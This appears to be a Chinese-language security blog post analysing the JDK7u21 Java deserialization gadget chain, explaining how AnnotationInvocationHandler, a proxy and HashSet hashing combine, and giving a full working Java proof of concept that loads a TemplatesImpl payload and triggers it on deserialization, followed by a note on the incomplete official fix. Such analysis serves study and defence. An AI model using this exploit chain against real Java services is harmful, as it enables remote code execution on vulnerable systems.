Java的反序列化漏洞有一些时基于第三方jar包的,所以我们不难免会设想是否存在不依赖第三方的Gadget。比如这条JDK7u21的链子,不需要任何其他的jar包。
依赖
jdk版本低于7u21 我这里用7u21
利用链分析
7u21利用链的核心是AnnotationInvocationhandler#equalslmpl


这个方法中有个很明显的反射调用memberMethod.invoke(o)
,而memberMethod来自于 this.type.getDeclaredMethods()
。
也就是说,equalsImpl
这个方法是将this.type类中的所有方法遍历并执行了。那么,假设 this.type是Templates类,则势必会调用到其中的newTransformer
或getOutputProperties
方法,而这些方法最终都会触发任意java代码执行。
那么我们要如何调用到equalsImpl
方法呢?equalsImpl是一个私有方法,在 AnnotationInvocationHandler#invoke中被调用。

AnnotationInvocationhandler是继承了InvocationHandler接口的类,我们知道,如果调用被动态代理类实现的接口方法的话就会调用动态代理类的invoke()方法。(详见深入理解 Java 之动态代理实现机制)
可见,当方法名等于“equals”,且仅有一个Object类型参数时,会调用到equalsImpl方法。所以,现在的问题变成,我们需要找到一个方法,在反序列化时对proxy调用equals方法。
发明这个链子的师傅确实很强,联想到set这个数据结构。
Set实际上相当于只存储key、不存储value的Map。我们经常用Set用于去除重复元素。因为对象不重复,因此就会涉及到比较。equals是用来比较两个对象的内容是否相同。最常用的Set实现类是HashSet,实际上,HashSet仅仅是对HashMap的一个简单封装。
看一下HashSet的readObject()方法:

map.put就是HashMap的put方法了

这里就有我们想要的equals方法,这里有一段逻辑是判断两个key的hash是否相同,然后才会执行到或||
后的语句,调用equals判断两个key是否相同。
可以发现对放入的key计算hash值,如果当前的map中有hash值相同的key,就会key.equals(k),如果让key
是代理对象,k
是我们的恶意TemplatesImpl
的话,就可以和上面的分析接上了,成功命令执行。
所以为了最终调用到equals方法,我们必须往HashSet里放入2个hash相同的对象。
精妙的hash值
hashmap中hash()的计算方式如下,中间的if方法不用管(我们这里不涉及到),主要是h^=k.hashCode()
这行代码。

所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的hashCode()
是否相等。TemplateImpl的hashCode()是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的hashCode()与之相等,只能寄希望于proxy.hashCode()
。
根据动态代理的规则,我们调用proxy.hashCode()
的时候其实会先调用其invoke
方法:

看看hashCodeImpl
方法:

它会遍历memberValues
(也就是它的构造方法中我们最开始传入的HashMap)中的每个key和value,计算每个(127 * key.hashCode()) ^ value.hashCode()
并求和。
JDK7u21中使用了一个非常巧妙的方法:
- 当memberValues中只有一个key和一个value时,该哈希简化成
(127 * key.hashCode()) ^ value.hashCode()
- 当key.hashCode()等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成
value.hashCode()
。
- 当value就是TemplateImpl对象时,这两个对象的哈希就完全相等。
所以我们现在最终的问题就是找到一个字符串其hashCode()
为0,这里直接给出其中一个答案:f5a5a608
,这也是ysoserial中用到的字符串。
1
| hashMap.put("f5a5a608",templatesImpl);
|
这个字符串的hashCode()返回值是0,那么proxy.hashCode()
的返回值就是templatesImpl的hashCode
,在最后HashMap.put的判断里:proxy.hashCode()
就会等于templatesImpl.hashCode()
,就会进入proxy.equals了。
poc
由于jdk7不自带base64,所以这里选择文件序列化 反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\13664\\Desktop\\jdk7u21\\target\\classes\\calc.class")); TemplatesImpl templatesImpl = (TemplatesImpl) getTemplates(bytes);
HashMap hashMap = new HashMap(); hashMap.put("f5a5a608",templatesImpl);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Templates.class,hashMap);
Templates procy = (Templates) Proxy.newProxyInstance(Proxy.class.getClassLoader(),new Class[]{Templates.class},invocationHandler);
HashSet set = new HashSet(); set.add(procy); set.add(templatesImpl);
serialize(set); unserialize("7u21.ser"); }
public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "Infernity"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
public static void serialize(Object obj) throws Exception { FileOutputStream fileOutputStream = new FileOutputStream("7u21.ser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(obj); }
public static void unserialize(String filename) throws Exception { FileInputStream fileInputStream = new FileInputStream(filename); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|

不完全的修复
看看官方的修复方案: 在sun.reflect.annotation.AnnotationInvocationHandler
类的readObject
函数中,原本有一个对this.type
的检查,在其不是AnnotationType
的情况下,会抛出一个异常。但是,捕获到异常后没有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程。在新版中,将这个返回改为了抛出一个异常,会导致整个序列化的过程终止。

这个修复方式看起来击中要害,实际上仍然存在问题,这也导致后面的另一条原生利用链JDK8u20。
参考文章:
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87%E4%B9%8BJDK7u21/
https://www.cnblogs.com/BUTLER/articles/16478462.html